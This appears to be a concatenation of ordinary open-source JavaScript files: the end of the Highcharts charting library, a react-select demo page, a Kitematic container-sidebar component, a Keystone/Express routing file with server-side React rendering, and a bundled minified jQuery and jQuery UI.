if (loopPoint.selected && loopPoint !== point) {
loopPoint.selected = loopPoint.options.selected = false;
series.options.data[inArray(loopPoint, series.data)] = loopPoint.options;
loopPoint.setState(NORMAL_STATE);
loopPoint.firePointEvent('unselect');
}
});
}
});
},
/**
* Runs on mouse over the point
*/
onMouseOver: function (e) {
var point = this,
series = point.series,
chart = series.chart,
tooltip = chart.tooltip,
hoverPoint = chart.hoverPoint;
// set normal state to previous series
if (hoverPoint && hoverPoint !== point) {
hoverPoint.onMouseOut();
}
// trigger the event
point.firePointEvent('mouseOver');
// update the tooltip
if (tooltip && (!tooltip.shared || series.noSharedTooltip)) {
tooltip.refresh(point, e);
}
// hover this
point.setState(HOVER_STATE);
chart.hoverPoint = point;
},
/**
* Runs on mouse out from the point
*/
onMouseOut: function () {
var chart = this.series.chart,
hoverPoints = chart.hoverPoints;
if (!hoverPoints || inArray(this, hoverPoints) === -1) { // #887
this.firePointEvent('mouseOut');
this.setState();
chart.hoverPoint = null;
}
},
/**
* Fire an event on the Point object. Must not be renamed to fireEvent, as this
* causes a name clash in MooTools
* @param {String} eventType
* @param {Object} eventArgs Additional event arguments
* @param {Function} defaultFunction Default event handler
*/
firePointEvent: function (eventType, eventArgs, defaultFunction) {
var point = this,
series = this.series,
seriesOptions = series.options;
// load event handlers on demand to save time on mouseover/out
if (seriesOptions.point.events[eventType] || (point.options && point.options.events && point.options.events[eventType])) {
this.importEvents();
}
// add default handler if in selection mode
if (eventType === 'click' && seriesOptions.allowPointSelect) {
defaultFunction = function (event) {
// Control key is for Windows, meta (= Cmd key) for Mac, Shift for Opera
point.select(null, event.ctrlKey || event.metaKey || event.shiftKey);
};
}
fireEvent(this, eventType, eventArgs, defaultFunction);
},
/**
* Import events from the series' and point's options. Only do it on
* demand, to save processing time on hovering.
*/
importEvents: function () {
if (!this.hasImportedEvents) {
var point = this,
options = merge(point.series.options.point, point.options),
events = options.events,
eventType;
point.events = events;
for (eventType in events) {
addEvent(point, eventType, events[eventType]);
}
this.hasImportedEvents = true;
}
},
/**
* Set the point's state
* @param {String} state
*/
setState: function (state, move) {
var point = this,
plotX = point.plotX,
plotY = point.plotY,
series = point.series,
stateOptions = series.options.states,
markerOptions = defaultPlotOptions[series.type].marker && series.options.marker,
normalDisabled = markerOptions && !markerOptions.enabled,
markerStateOptions = markerOptions && markerOptions.states[state],
stateDisabled = markerStateOptions && markerStateOptions.enabled === false,
stateMarkerGraphic = series.stateMarkerGraphic,
pointMarker = point.marker || {},
chart = series.chart,
radius,
newSymbol,
pointAttr = point.pointAttr;
state = state || NORMAL_STATE; // empty string
move = move && stateMarkerGraphic;
if (
// already has this state
(state === point.state && !move) ||
// selected points don't respond to hover
(point.selected && state !== SELECT_STATE) ||
// series' state options is disabled
(stateOptions[state] && stateOptions[state].enabled === false) ||
// general point marker's state options is disabled
(state && (stateDisabled || (normalDisabled && !markerStateOptions.enabled))) ||
// individual point marker's state options is disabled
(state && pointMarker.states && pointMarker.states[state] && pointMarker.states[state].enabled === false) // #1610
) {
return;
}
// apply hover styles to the existing point
if (point.graphic) {
radius = markerOptions && point.graphic.symbolName && pointAttr[state].r;
point.graphic.attr(merge(
pointAttr[state],
radius ? { // new symbol attributes (#507, #612)
x: plotX - radius,
y: plotY - radius,
width: 2 * radius,
height: 2 * radius
} : {}
));
} else {
// if a graphic is not applied to each point in the normal state, create a shared
// graphic for the hover state
if (state && markerStateOptions) {
radius = markerStateOptions.radius;
newSymbol = pointMarker.symbol || series.symbol;
// If the point has another symbol than the previous one, throw away the
// state marker graphic and force a new one (#1459)
if (stateMarkerGraphic && stateMarkerGraphic.currentSymbol !== newSymbol) {
stateMarkerGraphic = stateMarkerGraphic.destroy();
}
// Add a new state marker graphic
if (!stateMarkerGraphic) {
series.stateMarkerGraphic = stateMarkerGraphic = chart.renderer.symbol(
newSymbol,
plotX - radius,
plotY - radius,
2 * radius,
2 * radius
)
.attr(pointAttr[state])
.add(series.markerGroup);
stateMarkerGraphic.currentSymbol = newSymbol;
// Move the existing graphic
} else {
stateMarkerGraphic[move ? 'animate' : 'attr']({ // #1054
x: plotX - radius,
y: plotY - radius
});
}
}
if (stateMarkerGraphic) {
stateMarkerGraphic[state && chart.isInsidePlot(plotX, plotY, chart.inverted) ? 'show' : 'hide'](); // #2450
}
}
point.state = state;
}
});
/*
* Extend the Series object with interaction
*/
extend(Series.prototype, {
/**
* Series mouse over handler
*/
onMouseOver: function () {
var series = this,
chart = series.chart,
hoverSeries = chart.hoverSeries;
// set normal state to previous series
if (hoverSeries && hoverSeries !== series) {
hoverSeries.onMouseOut();
}
// trigger the event, but to save processing time,
// only if defined
if (series.options.events.mouseOver) {
fireEvent(series, 'mouseOver');
}
// hover this
series.setState(HOVER_STATE);
chart.hoverSeries = series;
},
/**
* Series mouse out handler
*/
onMouseOut: function () {
// trigger the event only if listeners exist
var series = this,
options = series.options,
chart = series.chart,
tooltip = chart.tooltip,
hoverPoint = chart.hoverPoint;
// trigger mouse out on the point, which must be in this series
if (hoverPoint) {
hoverPoint.onMouseOut();
}
// fire the mouse out event
if (series && options.events.mouseOut) {
fireEvent(series, 'mouseOut');
}
// hide the tooltip
if (tooltip && !options.stickyTracking && (!tooltip.shared || series.noSharedTooltip)) {
tooltip.hide();
}
// set normal state
series.setState();
chart.hoverSeries = null;
},
/**
* Set the state of the graph
*/
setState: function (state) {
var series = this,
options = series.options,
graph = series.graph,
graphNeg = series.graphNeg,
stateOptions = options.states,
lineWidth = options.lineWidth,
attribs;
state = state || NORMAL_STATE;
if (series.state !== state) {
series.state = state;
if (stateOptions[state] && stateOptions[state].enabled === false) {
return;
}
if (state) {
lineWidth = stateOptions[state].lineWidth || lineWidth + 1;
}
if (graph && !graph.dashstyle) { // hover is turned off for dashed lines in VML
attribs = {
'stroke-width': lineWidth
};
// use attr because animate will cause any other animation on the graph to stop
graph.attr(attribs);
if (graphNeg) {
graphNeg.attr(attribs);
}
}
}
},
/**
* Set the visibility of the graph
*
* @param vis {Boolean} True to show the series, false to hide. If UNDEFINED,
* the visibility is toggled.
*/
setVisible: function (vis, redraw) {
var series = this,
chart = series.chart,
legendItem = series.legendItem,
showOrHide,
ignoreHiddenSeries = chart.options.chart.ignoreHiddenSeries,
oldVisibility = series.visible;
// if called without an argument, toggle visibility
series.visible = vis = series.userOptions.visible = vis === UNDEFINED ? !oldVisibility : vis;
showOrHide = vis ? 'show' : 'hide';
// show or hide elements
each(['group', 'dataLabelsGroup', 'markerGroup', 'tracker'], function (key) {
if (series[key]) {
series[key][showOrHide]();
}
});
// hide tooltip (#1361)
if (chart.hoverSeries === series) {
series.onMouseOut();
}
if (legendItem) {
chart.legend.colorizeItem(series, vis);
}
// rescale or adapt to resized chart
series.isDirty = true;
// in a stack, all other series are affected
if (series.options.stacking) {
each(chart.series, function (otherSeries) {
if (otherSeries.options.stacking && otherSeries.visible) {
otherSeries.isDirty = true;
}
});
}
// show or hide linked series
each(series.linkedSeries, function (otherSeries) {
otherSeries.setVisible(vis, false);
});
if (ignoreHiddenSeries) {
chart.isDirtyBox = true;
}
if (redraw !== false) {
chart.redraw();
}
fireEvent(series, showOrHide);
},
/**
* Memorize tooltip texts and positions
*/
setTooltipPoints: function (renew) {
var series = this,
points = [],
pointsLength,
low,
high,
xAxis = series.xAxis,
xExtremes = xAxis && xAxis.getExtremes(),
axisLength = xAxis ? (xAxis.tooltipLen || xAxis.len) : series.chart.plotSizeX, // tooltipLen and tooltipPosName used in polar
point,
pointX,
nextPoint,
i,
tooltipPoints = []; // a lookup array for each pixel in the x dimension
// don't waste resources if tracker is disabled
if (series.options.enableMouseTracking === false || series.singularTooltips) {
return;
}
// renew
if (renew) {
series.tooltipPoints = null;
}
// concat segments to overcome null values
each(series.segments || series.points, function (segment) {
points = points.concat(segment);
});
// Reverse the points in case the X axis is reversed
if (xAxis && xAxis.reversed) {
points = points.reverse();
}
// Polar needs additional shaping
if (series.orderTooltipPoints) {
series.orderTooltipPoints(points);
}
// Assign each pixel position to the nearest point
pointsLength = points.length;
for (i = 0; i < pointsLength; i++) {
point = points[i];
pointX = point.x;
if (pointX >= xExtremes.min && pointX <= xExtremes.max) { // #1149
nextPoint = points[i + 1];
// Set this range's low to the last range's high plus one
low = high === UNDEFINED ? 0 : high + 1;
// Now find the new high
high = points[i + 1] ?
mathMin(mathMax(0, mathFloor( // #2070
(point.clientX + (nextPoint ? (nextPoint.wrappedClientX || nextPoint.clientX) : axisLength)) / 2
)), axisLength) :
axisLength;
while (low >= 0 && low <= high) {
tooltipPoints[low++] = point;
}
}
}
series.tooltipPoints = tooltipPoints;
},
/**
* Show the graph
*/
show: function () {
this.setVisible(true);
},
/**
* Hide the graph
*/
hide: function () {
this.setVisible(false);
},
/**
* Set the selected state of the graph
*
* @param selected {Boolean} True to select the series, false to unselect. If
* UNDEFINED, the selection state is toggled.
*/
select: function (selected) {
var series = this;
// if called without an argument, toggle
series.selected = selected = (selected === UNDEFINED) ? !series.selected : selected;
if (series.checkbox) {
series.checkbox.checked = selected;
}
fireEvent(series, selected ? 'select' : 'unselect');
},
drawTracker: TrackerMixin.drawTrackerGraph
});
// global variables
extend(Highcharts, {
// Constructors
Axis: Axis,
Chart: Chart,
Color: Color,
Point: Point,
Tick: Tick,
Renderer: Renderer,
Series: Series,
SVGElement: SVGElement,
SVGRenderer: SVGRenderer,
// Various
arrayMin: arrayMin,
arrayMax: arrayMax,
charts: charts,
dateFormat: dateFormat,
format: format,
pathAnim: pathAnim,
getOptions: getOptions,
hasBidiBug: hasBidiBug,
isTouchDevice: isTouchDevice,
numberFormat: numberFormat,
seriesTypes: seriesTypes,
setOptions: setOptions,
addEvent: addEvent,
removeEvent: removeEvent,
createElement: createElement,
discardElement: discardElement,
css: css,
each: each,
extend: extend,
map: map,
merge: merge,
pick: pick,
splat: splat,
extendClass: extendClass,
pInt: pInt,
wrap: wrap,
svg: hasSVG,
canvas: useCanVG,
vml: !hasSVG && !useCanVG,
product: PRODUCT,
version: VERSION
});
}());
|
examples/src/app.js
|
paulmillr/react-select
|
/* eslint react/prop-types: 0 */
import React from 'react';
import ReactDOM from 'react-dom';
import Select from 'react-select';
import Creatable from './components/Creatable';
import Contributors from './components/Contributors';
import GithubUsers from './components/GithubUsers';
import CustomComponents from './components/CustomComponents';
import CustomRender from './components/CustomRender';
import Multiselect from './components/Multiselect';
import NumericSelect from './components/NumericSelect';
import BooleanSelect from './components/BooleanSelect';
import Virtualized from './components/Virtualized';
import States from './components/States';
ReactDOM.render(
<div>
<States label="States" searchable />
<Multiselect label="Multiselect" />
<Virtualized label="Virtualized" />
<Contributors label="Contributors (Async)" />
<GithubUsers label="Github users (Async with fetch.js)" />
<NumericSelect label="Numeric Values" />
<BooleanSelect label="Boolean Values" />
<CustomRender label="Custom Render Methods"/>
<CustomComponents label="Custom Placeholder, Option, Value, and Arrow Components" />
<Creatable
hint="Enter a value that's NOT in the list, then hit return"
label="Custom tag creation"
/>
</div>,
document.getElementById('example')
);
|
src/components/Containers.react.js
|
saiberz/kitematic
|
import $ from 'jquery';
import _ from 'underscore';
import React from 'react';
import Router from 'react-router';
import containerStore from '../stores/ContainerStore';
import ContainerList from './ContainerList.react';
import Header from './Header.react';
import metrics from '../utils/MetricsUtil';
import shell from 'shell';
import machine from '../utils/DockerMachineUtil';
var Containers = React.createClass({
contextTypes: {
router: React.PropTypes.func
},
getInitialState: function () {
return {
sidebarOffset: 0,
containers: containerStore.getState().containers,
sorted: this.sorted(containerStore.getState().containers)
};
},
componentDidMount: function () {
containerStore.listen(this.update);
},
componentDidUnmount: function () {
containerStore.unlisten(this.update);
},
sorted: function (containers) {
return _.values(containers).sort(function (a, b) {
if (a.State.Downloading && !b.State.Downloading) {
return -1;
} else if (!a.State.Downloading && b.State.Downloading) {
return 1;
} else {
if (a.State.Running && !b.State.Running) {
return -1;
} else if (!a.State.Running && b.State.Running) {
return 1;
} else {
return a.Name.localeCompare(b.Name);
}
}
});
},
update: function () {
let containers = containerStore.getState().containers;
let sorted = this.sorted(containerStore.getState().containers);
let name = this.context.router.getCurrentParams().name;
if (containerStore.getState().pending) {
this.context.router.transitionTo('pull');
} else if (name && !containers[name]) {
if (sorted.length) {
this.context.router.transitionTo('containerHome', {name: sorted[0].Name});
} else {
this.context.router.transitionTo('search');
}
}
this.setState({
containers: containers,
sorted: sorted,
pending: containerStore.getState().pending
});
},
handleScroll: function (e) {
if (e.target.scrollTop > 0 && !this.state.sidebarOffset) {
this.setState({
sidebarOffset: e.target.scrollTop
});
} else if (e.target.scrollTop === 0 && this.state.sidebarOffset) {
this.setState({
sidebarOffset: 0
});
}
},
handleNewContainer: function () {
$(this.getDOMNode()).find('.new-container-item').parent().fadeIn();
this.context.router.transitionTo('search');
metrics.track('Pressed New Container');
},
handleClickPreferences: function () {
metrics.track('Opened Preferences', {
from: 'app'
});
this.context.router.transitionTo('preferences');
},
handleClickDockerTerminal: function () {
metrics.track('Opened Docker Terminal', {
from: 'app'
});
machine.dockerTerminal();
},
handleClickReportIssue: function () {
metrics.track('Opened Issue Reporter', {
from: 'app'
});
shell.openExternal('https://github.com/kitematic/kitematic/issues/new');
},
handleMouseEnterDockerTerminal: function () {
this.setState({
currentButtonLabel: 'Open terminal to use Docker command line.'
});
},
handleMouseLeaveDockerTerminal: function () {
this.setState({
currentButtonLabel: ''
});
},
handleMouseEnterReportIssue: function () {
this.setState({
currentButtonLabel: 'Report an issue or suggest feedback.'
});
},
handleMouseLeaveReportIssue: function () {
this.setState({
currentButtonLabel: ''
});
},
handleMouseEnterPreferences: function () {
this.setState({
currentButtonLabel: 'Change app preferences.'
});
},
handleMouseLeavePreferences: function () {
this.setState({
currentButtonLabel: ''
});
},
render: function () {
var sidebarHeaderClass = 'sidebar-header';
if (this.state.sidebarOffset) {
sidebarHeaderClass += ' sep';
}
var container = this.context.router.getCurrentParams().name ? this.state.containers[this.context.router.getCurrentParams().name] : {};
return (
<div className="containers">
<Header />
<div className="containers-body">
<div className="sidebar">
<section className={sidebarHeaderClass}>
<h4>Containers</h4>
<div className="create">
<Router.Link to="search">
<span className="btn btn-new btn-action has-icon btn-hollow"><span className="icon icon-add"></span>New</span>
</Router.Link>
</div>
</section>
<section className="sidebar-containers" onScroll={this.handleScroll}>
<ContainerList containers={this.state.sorted} newContainer={this.state.newContainer} />
</section>
<section className="sidebar-buttons">
<span className="btn-sidebar btn-terminal" onClick={this.handleClickDockerTerminal} onMouseEnter={this.handleMouseEnterDockerTerminal} onMouseLeave={this.handleMouseLeaveDockerTerminal}><span className="icon icon-docker-cli"></span><span className="text">DOCKER CLI</span></span>
<span className="btn-sidebar btn-feedback" onClick={this.handleClickReportIssue} onMouseEnter={this.handleMouseEnterDockerTerminal} onMouseLeave={this.handleMouseLeaveDockerTerminal}><span className="icon icon-feedback"></span></span>
<span className="btn-sidebar btn-preferences" onClick={this.handleClickPreferences} onMouseEnter={this.handleMouseEnterDockerTerminal} onMouseLeave={this.handleMouseLeaveDockerTerminal}><span className="icon icon-preferences"></span></span>
</section>
</div>
<Router.RouteHandler pending={this.state.pending} containers={this.state.containers} container={container}/>
</div>
</div>
);
}
});
module.exports = Containers;
|
routes/index.js
|
RyanCCollins/ryancollins.io
|
import keystone from 'keystone';
import webpack from 'webpack';
import webpackMiddleware from 'webpack-dev-middleware';
import webpackHotMiddleware from 'webpack-hot-middleware';
import express from 'express';
import config from '../webpack.config.js';
import createTemplate from './utils/createTemplate';
const isDeveloping = process.env.NODE_ENV !== 'production';
const importRoutes = keystone.importer(__dirname);
const compiler = webpack(config);
const mainHash = 'ad807fa5016f97e62e7d';
const vendorHash = '158ebf10428e11d2ccc7';
import React from 'react';
import { renderToString } from 'react-dom/server';
import { match, RouterContext } from 'react-router';
import { Provider } from 'react-redux';
import store from '../app/src/store/store.js';
import { routes } from '../app/src/utils/routes.jsx';
const serverApiRoutes = {
api: importRoutes('./api')
};
if (isDeveloping) {
keystone.pre('routes', webpackMiddleware(compiler, {
noInfo: true,
publicPath: config.output.publicPath
}));
keystone.pre('routes', webpackHotMiddleware(compiler, {
log: console.log // eslint-disable-line
}));
}
exports = module.exports = function (app) {
app.use(webpackMiddleware(compiler, {
noInfo: true,
publicPath: config.output.publicPath
}));
app.use(webpackHotMiddleware(compiler, {
log: console.log, // eslint-disable-line
path: '/__webpack_hmr',
heartbeat: 10 * 1000
}));
if (isDeveloping) {
app.all('*', (req, res, next) => {
res.header('Access-Control-Allow-Origin', '*');
res.header('Access-Control-Allow-Methods', 'GET, POST');
res.header('Access-Control-Allow-Headers', 'Content-Type');
next();
});
}
app.all('/api*', keystone.middleware.api);
app.get('/api/posts/list', serverApiRoutes.api.posts.getAll);
app.all('/api/posts/create', serverApiRoutes.api.posts.create);
app.get('/api/posts/:id', serverApiRoutes.api.posts.getOne);
app.all('/api/posts/:id/update', serverApiRoutes.api.posts.update);
app.get('/api/posts/:id/remove', serverApiRoutes.api.posts.remove);
app.all('/api/contact/create', serverApiRoutes.api.contact.create);
app.use(express.static('./public'));
app.use((req, res) => {
match({ routes, location: req.url },
(error, redirectLocation, renderProps) => {
if (error) {
res.status(500).send(error.message);
} else if (redirectLocation) {
res.redirect(302, redirectLocation.pathname + redirectLocation.search);
} else if (renderProps) {
const body = renderToString(
<Provider store={store}>
<RouterContext {...renderProps} />
</Provider>
);
res.status(200)
.send(createTemplate(body, store.getState(), mainHash, vendorHash));
} else {
res.status(400).send('Not Found 🤔');
}
});
});
};
|
docs/html/jquery.js
|
emojicode/emojicode
|
/*
@licstart The following is the entire license notice for the
JavaScript code in this file.
Copyright (C) 1997-2017 by Dimitri van Heesch
Permission is hereby granted, free of charge, to any person obtaining
a copy of this software and associated documentation files (the
"Software"), to deal in the Software without restriction, including
without limitation the rights to use, copy, modify, merge, publish,
distribute, sublicense, and/or sell copies of the Software, and to
permit persons to whom the Software is furnished to do so, subject to
the following conditions:
The above copyright notice and this permission notice shall be included
in all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY
CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,
TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
@licend The above is the entire license notice
for the JavaScript code in this file
*/
/*!
* jQuery JavaScript Library v1.7.1
* http://jquery.com/
*
* Copyright 2011, John Resig
* Dual licensed under the MIT or GPL Version 2 licenses.
* http://jquery.org/license
*
* Includes Sizzle.js
* http://sizzlejs.com/
* Copyright 2011, The Dojo Foundation
* Released under the MIT, BSD, and GPL Licenses.
*
* Date: Mon Nov 21 21:11:03 2011 -0500
*/
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e}}},attrFn:{val:true,css:true,html:true,text:true,data:true,width:true,height:true,offset:true},attr:function(bA,bx,bB,bz){var bw,e,by,bv=bA.nodeType;if(!bA||bv===3||bv===8||bv===2){return}if(bz&&bx in b.attrFn){return b(bA)[bx](bB)}if(typeof bA.getAttribute==="undefined"){return b.prop(bA,bx,bB)}by=bv!==1||!b.isXMLDoc(bA);if(by){bx=bx.toLowerCase();e=b.attrHooks[bx]||(ao.test(bx)?aY:be)}if(bB!==L){if(bB===null){b.removeAttr(bA,bx);return}else{if(e&&"set" in e&&by&&(bw=e.set(bA,bB,bx))!==L){return bw}else{bA.setAttribute(bx,""+bB);return bB}}}else{if(e&&"get" in e&&by&&(bw=e.get(bA,bx))!==null){return bw}else{bw=bA.getAttribute(bx);return bw===null?L:bw}}},removeAttr:function(bx,bz){var by,bA,bv,e,bw=0;if(bz&&bx.nodeType===1){bA=bz.toLowerCase().split(af);e=bA.length;for(;bw<e;bw++){bv=bA[bw];if(bv){by=b.propFix[bv]||bv;b.attr(bx,bv,"");bx.removeAttribute(F?bv:by);if(ao.test(bv)&&by in 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b.Event(),bx,{type:bw,isSimulated:true,originalEvent:{}});if(bv){b.event.trigger(bz,null,by)}else{b.event.dispatch.call(by,bz)}if(bz.isDefaultPrevented()){bx.preventDefault()}}};b.event.handle=b.event.dispatch;b.removeEvent=av.removeEventListener?function(bv,e,bw){if(bv.removeEventListener){bv.removeEventListener(e,bw,false)}}:function(bv,e,bw){if(bv.detachEvent){bv.detachEvent("on"+e,bw)}};b.Event=function(bv,e){if(!(this instanceof b.Event)){return new b.Event(bv,e)}if(bv&&bv.type){this.originalEvent=bv;this.type=bv.type;this.isDefaultPrevented=(bv.defaultPrevented||bv.returnValue===false||bv.getPreventDefault&&bv.getPreventDefault())?i:bk}else{this.type=bv}if(e){b.extend(this,e)}this.timeStamp=bv&&bv.timeStamp||b.now();this[b.expando]=true};function bk(){return false}function i(){return true}b.Event.prototype={preventDefault:function(){this.isDefaultPrevented=i;var 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bw=bx.target,bv=b.nodeName(bw,"input")||b.nodeName(bw,"button")?bw.form:L;if(bv&&!bv._submit_attached){b.event.add(bv,"submit._submit",function(e){if(this.parentNode&&!e.isTrigger){b.event.simulate("submit",this.parentNode,e,true)}});bv._submit_attached=true}})},teardown:function(){if(b.nodeName(this,"form")){return false}b.event.remove(this,"._submit")}}}if(!b.support.changeBubbles){b.event.special.change={setup:function(){if(bd.test(this.nodeName)){if(this.type==="checkbox"||this.type==="radio"){b.event.add(this,"propertychange._change",function(e){if(e.originalEvent.propertyName==="checked"){this._just_changed=true}});b.event.add(this,"click._change",function(e){if(this._just_changed&&!e.isTrigger){this._just_changed=false;b.event.simulate("change",this,e,true)}})}return false}b.event.add(this,"beforeactivate._change",function(bw){var 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bw=this[0],bv=this.offsetParent(),bx=this.offset(),e=ad.test(bv[0].nodeName)?{top:0,left:0}:bv.offset();bx.top-=parseFloat(b.css(bw,"marginTop"))||0;bx.left-=parseFloat(b.css(bw,"marginLeft"))||0;e.top+=parseFloat(b.css(bv[0],"borderTopWidth"))||0;e.left+=parseFloat(b.css(bv[0],"borderLeftWidth"))||0;return{top:bx.top-e.top,left:bx.left-e.left}},offsetParent:function(){return this.map(function(){var e=this.offsetParent||av.body;while(e&&(!ad.test(e.nodeName)&&b.css(e,"position")==="static")){e=e.offsetParent}return e})}});b.each(["Left","Top"],function(bv,e){var bw="scroll"+e;b.fn[bw]=function(bz){var bx,by;if(bz===L){bx=this[0];if(!bx){return null}by=aK(bx);return by?("pageXOffset" in by)?by[bv?"pageYOffset":"pageXOffset"]:b.support.boxModel&&by.document.documentElement[bw]||by.document.body[bw]:bx[bw]}return this.each(function(){by=aK(this);if(by){by.scrollTo(!bv?bz:b(by).scrollLeft(),bv?bz:b(by).scrollTop())}else{this[bw]=bz}})}});function aK(e){return b.isWindow(e)?e:e.nodeType===9?e.defaultView||e.parentWindow:false}b.each(["Height","Width"],function(bv,e){var bw=e.toLowerCase();b.fn["inner"+e]=function(){var bx=this[0];return bx?bx.style?parseFloat(b.css(bx,bw,"padding")):this[bw]():null};b.fn["outer"+e]=function(by){var bx=this[0];return bx?bx.style?parseFloat(b.css(bx,bw,by?"margin":"border")):this[bw]():null};b.fn[bw]=function(bz){var bA=this[0];if(!bA){return bz==null?null:this}if(b.isFunction(bz)){return this.each(function(bE){var bD=b(this);bD[bw](bz.call(this,bE,bD[bw]()))})}if(b.isWindow(bA)){var bB=bA.document.documentElement["client"+e],bx=bA.document.body;return bA.document.compatMode==="CSS1Compat"&&bB||bx&&bx["client"+e]||bB}else{if(bA.nodeType===9){return Math.max(bA.documentElement["client"+e],bA.body["scroll"+e],bA.documentElement["scroll"+e],bA.body["offset"+e],bA.documentElement["offset"+e])}else{if(bz===L){var bC=b.css(bA,bw),by=parseFloat(bC);return b.isNumeric(by)?by:bC}else{return this.css(bw,typeof bz==="string"?bz:bz+"px")}}}}});bb.jQuery=bb.$=b;if(typeof define==="function"&&define.amd&&define.amd.jQuery){define("jquery",[],function(){return b})}})(window);/*!
* jQuery UI 1.8.18
*
* Copyright 2011, AUTHORS.txt (http://jqueryui.com/about)
* Dual licensed under the MIT or GPL Version 2 licenses.
* http://jquery.org/license
*
* http://docs.jquery.com/UI
*/
(function(a,d){a.ui=a.ui||{};if(a.ui.version){return}a.extend(a.ui,{version:"1.8.18",keyCode:{ALT:18,BACKSPACE:8,CAPS_LOCK:20,COMMA:188,COMMAND:91,COMMAND_LEFT:91,COMMAND_RIGHT:93,CONTROL:17,DELETE:46,DOWN:40,END:35,ENTER:13,ESCAPE:27,HOME:36,INSERT:45,LEFT:37,MENU:93,NUMPAD_ADD:107,NUMPAD_DECIMAL:110,NUMPAD_DIVIDE:111,NUMPAD_ENTER:108,NUMPAD_MULTIPLY:106,NUMPAD_SUBTRACT:109,PAGE_DOWN:34,PAGE_UP:33,PERIOD:190,RIGHT:39,SHIFT:16,SPACE:32,TAB:9,UP:38,WINDOWS:91}});a.fn.extend({propAttr:a.fn.prop||a.fn.attr,_focus:a.fn.focus,focus:function(e,f){return typeof e==="number"?this.each(function(){var g=this;setTimeout(function(){a(g).focus();if(f){f.call(g)}},e)}):this._focus.apply(this,arguments)},scrollParent:function(){var e;if((a.browser.msie&&(/(static|relative)/).test(this.css("position")))||(/absolute/).test(this.css("position"))){e=this.parents().filter(function(){return(/(relative|absolute|fixed)/).test(a.curCSS(this,"position",1))&&(/(auto|scroll)/).test(a.curCSS(this,"overflow",1)+a.curCSS(this,"overflow-y",1)+a.curCSS(this,"overflow-x",1))}).eq(0)}else{e=this.parents().filter(function(){return(/(auto|scroll)/).test(a.curCSS(this,"overflow",1)+a.curCSS(this,"overflow-y",1)+a.curCSS(this,"overflow-x",1))}).eq(0)}return(/fixed/).test(this.css("position"))||!e.length?a(document):e},zIndex:function(h){if(h!==d){return this.css("zIndex",h)}if(this.length){var f=a(this[0]),e,g;while(f.length&&f[0]!==document){e=f.css("position");if(e==="absolute"||e==="relative"||e==="fixed"){g=parseInt(f.css("zIndex"),10);if(!isNaN(g)&&g!==0){return g}}f=f.parent()}}return 0},disableSelection:function(){return this.bind((a.support.selectstart?"selectstart":"mousedown")+".ui-disableSelection",function(e){e.preventDefault()})},enableSelection:function(){return this.unbind(".ui-disableSelection")}});a.each(["Width","Height"],function(g,e){var f=e==="Width"?["Left","Right"]:["Top","Bottom"],h=e.toLowerCase(),k={innerWidth:a.fn.innerWidth,innerHeight:a.fn.innerHeight,outerWidth:a.fn.outerWidth,outerHeight:a.fn.outerHeight};function j(m,l,i,n){a.each(f,function(){l-=parseFloat(a.curCSS(m,"padding"+this,true))||0;if(i){l-=parseFloat(a.curCSS(m,"border"+this+"Width",true))||0}if(n){l-=parseFloat(a.curCSS(m,"margin"+this,true))||0}});return l}a.fn["inner"+e]=function(i){if(i===d){return k["inner"+e].call(this)}return this.each(function(){a(this).css(h,j(this,i)+"px")})};a.fn["outer"+e]=function(i,l){if(typeof i!=="number"){return k["outer"+e].call(this,i)}return this.each(function(){a(this).css(h,j(this,i,true,l)+"px")})}});function c(g,e){var j=g.nodeName.toLowerCase();if("area"===j){var i=g.parentNode,h=i.name,f;if(!g.href||!h||i.nodeName.toLowerCase()!=="map"){return false}f=a("img[usemap=#"+h+"]")[0];return !!f&&b(f)}return(/input|select|textarea|button|object/.test(j)?!g.disabled:"a"==j?g.href||e:e)&&b(g)}function b(e){return !a(e).parents().andSelf().filter(function(){return a.curCSS(this,"visibility")==="hidden"||a.expr.filters.hidden(this)}).length}a.extend(a.expr[":"],{data:function(g,f,e){return !!a.data(g,e[3])},focusable:function(e){return c(e,!isNaN(a.attr(e,"tabindex")))},tabbable:function(g){var e=a.attr(g,"tabindex"),f=isNaN(e);return(f||e>=0)&&c(g,!f)}});a(function(){var e=document.body,f=e.appendChild(f=document.createElement("div"));f.offsetHeight;a.extend(f.style,{minHeight:"100px",height:"auto",padding:0,borderWidth:0});a.support.minHeight=f.offsetHeight===100;a.support.selectstart="onselectstart" in f;e.removeChild(f).style.display="none"});a.extend(a.ui,{plugin:{add:function(f,g,j){var h=a.ui[f].prototype;for(var e in j){h.plugins[e]=h.plugins[e]||[];h.plugins[e].push([g,j[e]])}},call:function(e,g,f){var j=e.plugins[g];if(!j||!e.element[0].parentNode){return}for(var h=0;h<j.length;h++){if(e.options[j[h][0]]){j[h][1].apply(e.element,f)}}}},contains:function(f,e){return document.compareDocumentPosition?f.compareDocumentPosition(e)&16:f!==e&&f.contains(e)},hasScroll:function(h,f){if(a(h).css("overflow")==="hidden"){return false}var e=(f&&f==="left")?"scrollLeft":"scrollTop",g=false;if(h[e]>0){return true}h[e]=1;g=(h[e]>0);h[e]=0;return g},isOverAxis:function(f,e,g){return(f>e)&&(f<(e+g))},isOver:function(j,f,i,h,e,g){return a.ui.isOverAxis(j,i,e)&&a.ui.isOverAxis(f,h,g)}})})(jQuery);/*!
* jQuery UI Widget 1.8.18
*
* Copyright 2011, AUTHORS.txt (http://jqueryui.com/about)
* Dual licensed under the MIT or GPL Version 2 licenses.
* http://jquery.org/license
*
* http://docs.jquery.com/UI/Widget
*/
